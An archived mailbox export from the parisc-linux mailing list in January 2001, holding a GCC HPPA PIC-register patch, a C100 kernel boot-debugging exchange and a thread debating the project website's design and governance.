Xref: news.gmane.org gmane.linux.ports.parisc:9205

As of yesterday, the official binutils sources have all our patches, so
the 2.11.0 release or sourceware CVS can be used for hppa*-linux.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 15:50:06 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <200101152350.PAA10493@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101151256070.23322-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619534 10431 80.91.229.3 (22 Nov 2014 01:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: grundler@cup.hp.com  Mon Jan 15 16:44:40 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA28306
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 16:44:39 -0700
Original-Received: (qmail 28388 invoked by uid 15267); 15 Jan 2001 23:48:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28374 invoked from network); 15 Jan 2001 23:48:19 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 23:48:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 890AE88F; Mon, 15 Jan 2001 15:48:18 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA10493;
	Mon, 15 Jan 2001 15:50:07 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 15 Jan 2001 13:22:14 PST."
             <Pine.LNX.4.21.0101151256070.23322-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9206

Greg Ingram wrote:
> Okay, I grabbed the cross-compiler and various sources and managed to
> build a booting image.  Woohoo!

Good work!

> I also tried the lifimage you just posted
> to the FTP site.  Both kernels died at GSC detection because it didn't
> know the address f5fbf000.  I made this little change to ccio-dma.c:
> 
> --- arch/parisc/kernel/ccio-dma.c.orig  Mon Jan 15 12:40:05 2001
> +++ arch/parisc/kernel/ccio-dma.c       Mon Jan 15 13:05:01 2001
> @@ -1174,6 +1174,7 @@
>  ** that can't be detected by PA/EISA/PCI bus walks.
>  */
>         switch((long) d->hpa) {
> +       case 0xf5fbf000L:       /* C1O0 (wild guess!) */
>         case 0xf7fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
>         case 0xf3fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
>                 /* ccio_hpa same as C200 IOA0 */                             

As Ryan noted, this is a hack. We need a real PA bus walk - not
just depending on the devices PDC tells us about.
     

> Data access rights fault in kernel: Code=26 regs=c7f9c840 (Addr=0000000c)

Looks like a null ptr dereference.

>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001100000000000001011
> r0-3     00000000 c02b2580 c018e784 c02c2c88
...
> IASQ: 00000000 00000000 IAOQ: c010c8fc c010c900

IOAQ is the current PC
GR02 is the return ptr - ie caller address + 8

See build-tools/a.c
If you look up the symbols of those, very likely you'll
find the code that doesn't like your C100.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 16:48:51 -0800 (PST)
Lines: 46
Approved: news@gmane.org
Message-ID: <200101160048.QAA24057@opus.allegro.com>
References: <3A63811B3D8.D2B3JCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619534 10435 80.91.229.3 (22 Nov 2014 01:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jcarlson@macalester.edu (Josiah Carlson)
Original-X-From: sieler@opus.allegro.com  Mon Jan 15 17:45:13 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA29154
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 17:45:12 -0700
Original-Received: (qmail 3453 invoked by uid 15267); 16 Jan 2001 00:48:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3443 invoked from network); 16 Jan 2001 00:48:53 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 00:48:53 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id QAA24057;
	Mon, 15 Jan 2001 16:48:51 -0800
In-Reply-To: <3A63811B3D8.D2B3JCARLSON@smtp.macalester.edu> from "Josiah Carlson" at Jan 15, 2001 05:00:43 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:9207

Josiah (what's wrong with painting my car myself, with house paint) Carlson 
says:

> what?  The font sizes and such are not changed (except in the
> toolbar)...should be able to be viewed on netscape (and at least in the

Oh?  Try www.sieler.com, then www.linuxcare.com.  The linuxcare page
specifies font size everywhere...not just the toolbar.

Matthew did linuxcare a favor ... for all that they might not care ...
by pointing out that the page has a number of problems.  Font size
*is* one of those problems.  On my 21" monitor, at 1600x1200, I find
their font just a bit too small to read.  (Better than some brain-dead
pages, like www.altavista.com!)

> later mozilla's and NS6, you can override the defaults). Sounds like
> alot of complaining for nothing.

Josiah...if people don't point out the problems, how will they *ever*
find out about them? 

Hmmm...The gentleman protests too much, methinks.
[modified Hamlet, see http://www.allshakespeare.com/plays/hamlet/3-2.shtml#protest]

BTW, you *DO* want to point out to your *own* site's webmaster that
he/she is making the same bad mistake :)

www.macalester.edu:

    ...
    <font face="Verdana, Arial, Helvetica, sans-serif" size=-1>

    Macalester College is a private undergraduate liberal arts college which
    emphasizes academic excellence in the context of internationalism,
    ...

Note that evil "size=-1"!  (and a few "size=-2" as well)

BTW, that home page is better than many...
CSEE HTML Validator version 4.5 only found four errors on it.  
See: http://www.htmlvalidator.com/

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Tue, 16 Jan 2001 12:20:19 +1100 (EST)
Lines: 257
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101161215520.4272-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0101160955240.4272-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619535 10438 80.91.229.3 (22 Nov 2014 01:25:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:35 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Mon Jan 15 18:17:00 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA29728
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 18:16:58 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA10493;
	Tue, 16 Jan 2001 12:20:20 +1100
In-Reply-To: <Pine.LNX.4.21.0101160955240.4272-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:9208

On Tue, 16 Jan 2001, I wrote:

> There is possibly a small problem.  The test at the end of
> hppa_expand_prologue:

Here is an updated patch that cures this, and doesn't restore r27 before
calls.

	* config/pa/pa.h (PIC_OFFSET_TABLE_REGNUM_SAVED): Remove.
	(machine_function): Define.
	(PIC_OFFSET_TABLE_SAVE_RTX) : Define.
	(INIT_EXPANDERS): Define.
	* config/pa/pa.c (pa_init_machine_status, pa_free_machine_status,
	pa_init_expanders): New functions.
	(hppa_expand_prologue): Use PIC_OFFSET_TABLE_SAVE_RTX instead of
	PIC_OFFSET_TABLE_REGNUM_SAVED.
	* config/pa/pa.md: Use PIC_OFFSET_TABLE_SAVE_RTX instead of
	PIC_OFFSET_TABLE_REGNUM_SAVED throughout.
	* config/pa/pa32-regs.h (CONDITIONAL_REGISTER_USAGE): Remove
	references to PIC_OFFSET_TABLE_REGNUM_SAVED.
	* config/pa/pa64-regs.h (CONDITIONAL_REGISTER_USAGE): Likewise.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

diff -urp -xCVS egcs/gcc/config/pa/pa.c newegcs/gcc/config/pa/pa.c
--- egcs/gcc/config/pa/pa.c	Thu Jan  4 15:22:58 2001
+++ newegcs/gcc/config/pa/pa.c	Tue Jan 16 10:45:25 2001
@@ -2918,6 +2918,40 @@ output_function_prologue (file, size)
   remove_useless_addtr_insns (get_insns (), 0);
 }
 
+/* Functions to initialize pic_offset_table_save_rtx.
+   These will be called, via pointer variables,
+   from push_function_context and pop_function_context.  */
+
+static void
+pa_init_machine_status (p)
+     struct function *p;
+{
+  p->machine = (machine_function *) xmalloc (sizeof (machine_function));
+
+  p->machine->pic_offset_table_save_rtx = gen_reg_rtx (Pmode);
+}
+
+static void
+pa_free_machine_status (p)
+     struct function *p;
+{
+  if (p->machine == NULL)
+    return;
+
+  free (p->machine);
+  p->machine = NULL;
+}
+
+/* Do anything needed before RTL is emitted for each function.  */
+
+void
+pa_init_expanders ()
+{
+  /* Arrange to save and restore machine status around nested functions.  */
+  init_machine_status = pa_init_machine_status;
+  free_machine_status = pa_free_machine_status;
+}
+
 void
 hppa_expand_prologue()
 {
@@ -3153,19 +3187,17 @@ hppa_expand_prologue()
      made incorrect assumptions about using global variables to hold
      per-function rtl code generated in the backend.
 
-     So instead, we copy the PIC register into a reserved callee saved
-     register in the prologue.  Then after each call we reload the PIC
-     register from the callee saved register.  We also reload the PIC
-     register from the callee saved register in the epilogue ensure the
-     PIC register is valid at function exit.
-
-     This may (depending on the exact characteristics of the function)
-     even be more efficient. 
-
-     Avoid this if the callee saved register wasn't used (these are
-     leaf functions).  */
-  if (flag_pic && regs_ever_live[PIC_OFFSET_TABLE_REGNUM_SAVED])
-    emit_move_insn (gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED),
+     So instead, we copy the PIC register into a callee saved register
+     in the prologue.  Then after each call we reload the PIC register
+     from the callee saved register.
+
+     Avoid doing this if the register isn't used (eg. leaf functions)
+     as it's an error to delete an instruction from the prologue.  */
+
+  if (flag_pic
+      && (GET_CODE (PIC_OFFSET_TABLE_SAVE_RTX) != REG
+	  || HARD_REGISTER_P (PIC_OFFSET_TABLE_SAVE_RTX)))
+    emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
 		    gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
 }
 
diff -urp -xCVS egcs/gcc/config/pa/pa.h newegcs/gcc/config/pa/pa.h
--- egcs/gcc/config/pa/pa.h	Thu Jan  4 15:22:58 2001
+++ newegcs/gcc/config/pa/pa.h	Mon Jan 15 20:54:01 2001
@@ -70,6 +70,14 @@ enum architecture_type
   ARCHITECTURE_20
 };
 
+struct rtx_def;
+/* A C structure for machine-specific, per-function data.
+   This is added to the cfun structure.  */
+typedef struct machine_function
+{
+  struct rtx_def *pic_offset_table_save_rtx;
+} machine_function;
+
 /* For -march= option.  */
 extern const char *pa_arch_string;
 extern enum architecture_type pa_arch;
@@ -493,8 +501,8 @@ extern int target_flags;
 #define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED 1
 
 /* Register into which we save the PIC_OFFEST_TABLE_REGNUM so that it
-   can be restore across function calls.  */
-#define PIC_OFFSET_TABLE_REGNUM_SAVED 4
+   can be restored across function calls.  */
+#define PIC_OFFSET_TABLE_SAVE_RTX (cfun->machine->pic_offset_table_save_rtx)
 
 #define DEFAULT_PCC_STRUCT_RETURN 0
 
@@ -854,6 +862,10 @@ extern enum cmp_type hppa_branch_type;
 	     DELTA, target_name, DELTA); \
   fprintf (FILE, "\n\t.EXIT\n\t.PROCEND\n"); \
 }
+
+/* Initialize data used by insn expanders.  This is called from
+   init_emit, once for each function, before code is generated. */
+#define INIT_EXPANDERS pa_init_expanders ()
 
 /* This macro generates the assembly code for function entry.
    FILE is a stdio stream to output the code to.
diff -urp -xCVS egcs/gcc/config/pa/pa.md newegcs/gcc/config/pa/pa.md
--- egcs/gcc/config/pa/pa.md	Mon Jan  8 22:47:00 2001
+++ newegcs/gcc/config/pa/pa.md	Tue Jan 16 10:45:58 2001
@@ -5735,18 +5735,12 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
       if (TARGET_64BIT)
 	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -5915,18 +5909,12 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
       if (TARGET_64BIT)
 	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -6096,16 +6084,10 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -6158,16 +6140,10 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
diff -urp -xCVS egcs/gcc/config/pa/pa32-regs.h newegcs/gcc/config/pa/pa32-regs.h
--- egcs/gcc/config/pa/pa32-regs.h	Thu Jan 11 16:10:48 2001
+++ newegcs/gcc/config/pa/pa32-regs.h	Mon Jan 15 18:22:39 2001
@@ -110,11 +110,7 @@
 	fixed_regs[i] = call_used_regs[i] = 1; 	\
     }						\
   if (flag_pic)					\
-    {						\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-      call_used_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-    }						\
+    fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
 }
 
 /* Allocate the call used registers first.  This should minimize
diff -urp -xCVS egcs/gcc/config/pa/pa64-regs.h newegcs/gcc/config/pa/pa64-regs.h
--- egcs/gcc/config/pa/pa64-regs.h	Thu Jan 11 16:10:48 2001
+++ newegcs/gcc/config/pa/pa64-regs.h	Mon Jan 15 18:22:40 2001
@@ -109,11 +109,7 @@ Boston, MA 02111-1307, USA.  */
 	fixed_regs[i] = call_used_regs[i] = 1; 	\
     }						\
   if (flag_pic)					\
-    {						\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-      call_used_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-    }						\
+    fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
 }
 
 /* Allocate the call used registers first.  This should minimize


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 20:25:15 -0600
Lines: 123
Approved: news@gmane.org
Message-ID: <3A63B10BBB.D2B5JCARLSON@smtp.macalester.edu>
References: <3A63811B3D8.D2B3JCARLSON@smtp.macalester.edu>
 <20010115231000.J28689@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619535 10439 80.91.229.3 (22 Nov 2014 01:25:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jcarlson@macalester.edu  Mon Jan 15 19:22:58 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA30519
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 19:22:58 -0700
Original-Received: (qmail 13344 invoked by uid 15267); 16 Jan 2001 02:26:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13331 invoked from network); 16 Jan 2001 02:26:39 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 02:26:39 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JYY6H58QFS001U21@macalester.edu> for
 parisc-linux@thepuffingroup.com; Mon, 15 Jan 2001 20:26:40 CDT
In-reply-to: <20010115231000.J28689@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9209

Matthew Wilxox,

I've been trying to look at the issues you've brought up, and figure out
some way that someone can fix them.  Here are the problems that I've
been able to come up with from the emails:

1. Font sizes and the resulting readibility on hi res screens,
particlarly on netscape browsers.
2. Problem with the memory usage of the tables, and the rendering speed,
particularly on netscape browsers.
3. Build system as it relates to the the way the pages are
updated...causing them to get out of sync.
4. The fact that parisc-linux.org is overseen by the HP corporation, and
that they are unwilling to change the layout and such of the web page.

Problems 1 and 2 both seem to stem from the way the Netscape browser
handles pages.  Yes, the over-use of tables is not necessary and causes
loading issues for people on saturated connections who also happen to be
using netscape 4.x.  And I also hate the over-use of tables (I once
viewed a web page that had 4 images and maybe a paragraph or so of
actual text, but was filled with 25k of table formatting crap that could
have been removed with a <center> tag and a few line breaks).  But they
aren't embedding hundreds of tables within themselves, I looked at the
html in your email.  I agree, the three tables didn't need to be used,
but then again, the designers of the pages probably aren't using a text
editor to set up a web page, I wouldn't doubt if they are using some
sort of gui editor...which in my experience with them, produces too much
unneeded bullshit.
I'm guessing with the amount of stuff they've got to set up, they lack
the time to hand code everything...that is much of the same reason why
so many pages have so many tables.  Not everyone has the time to hand
code every page, but then again, if some section of code is going to go
into every web page, it should be tight.  Though we've got to remember
that we're dealing with a corporation, with a structure, with
supervisors.  If there's one thing that I've learned from working at any
workplace, it's that supervisors sometimes know less than a 2 year old
and sometimes are twice as stubborn.  If they're using some sort of
commercial web development tool, I would doubt if the supervisor cares
who did what, "If it wasn't produced by the package, it's not going in."
(quote from a supervisor I had, and this also being the response to
problem 4).
What really needs to happen to fix these pages, is not for you to leave
because you're unhappy with the future pages, but for the person(s) who
is(are) actually developing the pages to be able to be contacted, and
take constructive feedback, and actually be able to do something about
it (where's webmaster@parisc-linux.org?).

We can fix the font sizes and such though.  In the netscape preferences
(on 4.x, 6, and mozilla) have options for font size and style overrides
(Edit->Preferences->Appearance->Fonts). This is a personal thing, a
seriously personal thing, but easily fixed on all current browsers (IE
4.0+, NS4.5+, 6 and mozilla (don't know the original milestone this
started working on, but I've got 11, 13 and 17 if anyone wants to look).

Memory usage because of tables...I really can't help that, and unless
someone breaks into the mozilla source code and tightens it up a tad...I
don't think it's ever going to be efficient (though I can't notice a
difference in IE...but then again, IE never had the problems with tables
that NS 4.x had), though at least mozilla/6 renders as it receives
information, quite a step up from the 4.x releases.

Build system and page updates...ouch.  Yeah, that's a problem, though I
don't have a solution. *frown*

In response to your previous email:
No, I haven't read them, I must've missed them.  But yes, it is a
problem...but I was attempting to refer to the parts that non-developers
see, the faq, the start page, etc.  Though I can't change the build
system, not only am I not privy to the code, but I doubt that HP would
accept any changes if I had any. (more on that later)

The content comment...I actually went surfing around the page and
noticed your name here and there...funny, I never paid it attention
before.  My comment was to address everyone.  Let us say for example
that...I've got a C110 (which I happen to), and I've been having
problems getting it working (which I have, but the current comments on
the C100 are helping).  Currently there is not a whole lot of info on
getting said machines running on the main site.  If I ever get my C110
running (like the 712's and B160L's), I have to document the steps
required because someone in the future may have to do it again where I'm
at, and it could also be posted to the parisc-linux.org site for other
people. Using that as an example, anyone who'se had problems getting
things set up should document and get the solutions posted to the site
under the information for that particular machine.  Thank you for
posting, anything that people can add to help is all that much better
for the new guy (which I still am).

(in response to Stan Stieler) And about "my site's webmaster"...well,
that's not my site. It's my school's site, for I am merely an undergrad.
I do know that they use Dreamweaver to write the pages, which gives a
reason for the use of CSS, and over-use of tables on every page that is
school written. But that's their thing, and it's also a corporation of
sorts.  I know the guys who are doing work study making the pages...and
they would all prefer to do everything with a few scripts and some
hand-coded html...but the supervisors only know dreamweaver...so that's
all they get.  I looked at stieler.com and have been to hp.com quite
often, and while I agree that content should be the absolute desire,
content with a poor way of accessing said content is nearly as bad as
not having any.  Hp's site has alot of useful information...but I've
spent hours looking for what I need (same with intel's site).  Your site
doesn't have any ambiguity, but it also does not have the insane amounts
of information that the HP site has, nor is it nearly as visually
interesting0.
I'm going to use slashdot.org as an example here.  It has plenty of
information, fairly un-ambiguous interface, kind of visually interesting,
but also happens to have many tables.  Tables aren't necessarily bad
when used properly (not to say that slashdot.org uses them properly, but
they are used for the desired formatting, and not much else would
accomplish what they have).
The trick is to remember to seperate the different levels of web design
in a corporate style environment:
Content (what's there)
Interface (how do they get to it)
Back end (how it's stored/generated)
As a geek news source, slashdot.org has got them all down pretty well,
leaving only a little to be desired in the way of the amount of html
they use (and a bit of FUD on occasion).
hp.com lacks interface, but has excellent content and one hell of a back
end to be able to handle all that info.

So yeah, that's my take,
 - Josiah


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 21:01:06 -0800
Lines: 62
Approved: news@gmane.org
Message-ID: <200101160501.VAA11005@milano.cup.hp.com>
References: <3A63B10BBB.D2B5JCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619535 10441 80.91.229.3 (22 Nov 2014 01:25:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Josiah Carlson <jcarlson@macalester.edu>
Original-X-From: grundler@cup.hp.com  Mon Jan 15 21:57:02 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA05784
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 21:57:00 -0700
Original-Received: (qmail 5867 invoked by uid 15267); 16 Jan 2001 05:00:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5741 invoked from network); 16 Jan 2001 05:00:36 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 05:00:36 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 78BBB1F4; Mon, 15 Jan 2001 21:00:35 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA11005;
	Mon, 15 Jan 2001 21:01:09 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 15 Jan 2001 20:25:15 PST."
             <3A63B10BBB.D2B5JCARLSON@smtp.macalester.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9210


Josiah Carlson wrote:
...
> 4. The fact that parisc-linux.org is overseen by the HP corporation, and
> that they are unwilling to change the layout and such of the web page.

Wrong on two counts: HP does not run the web site. AFAIK, HP helped
fund the parisc-linux site developement and approved it's current
layout/use of HP logo. No one said anything about future developement.
This issue is still under discussion and Mathew's input has been heard.

> Though we've got to remember
> that we're dealing with a corporation, with a structure, with
> supervisors.

Who are just people.
Some need to learn new things they don't yet know.

> If there's one thing that I've learned from working at any
> workplace, it's that supervisors sometimes know less than a 2 year old
> and sometimes are twice as stubborn.

Funny. None of my supervisors have ever fit that description.
Maybe I'm just lucky.

> not only am I not privy to the code,

Wrong again.
Source is visible at http://puffin.external.hp.com/cgi-bin/cvsview
or through CVS. Just like the linux kernel.

> but I doubt that HP would
> accept any changes if I had any. (more on that later)

You are right - HP won't. Mostly because HP doesn't "own" it.
Anyone with write access to the CVS repository can change it.
Only about 1/5th of the people with such write access are HP
employees.

> Currently there is not a whole lot of info on
> getting said machines running on the main site.

1) It's because owners of said machines haven't *written* a web page
   (or FAQ) specific to each platform.
2) Such a page would fairly quickly be stale.
   The long term goal is to have one process/kernel for all machines.
   (64- vs 32-bit kernels is the only issue that won't go away.)

> I have to document the steps
> required because someone in the future may have to do it again where I'm
> at, and it could also be posted to the parisc-linux.org site for other
> people.

Exactly. Post it here and people can find it by searching the
mail archive. (That's probably another FAQ, Alex?).

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ready to go!
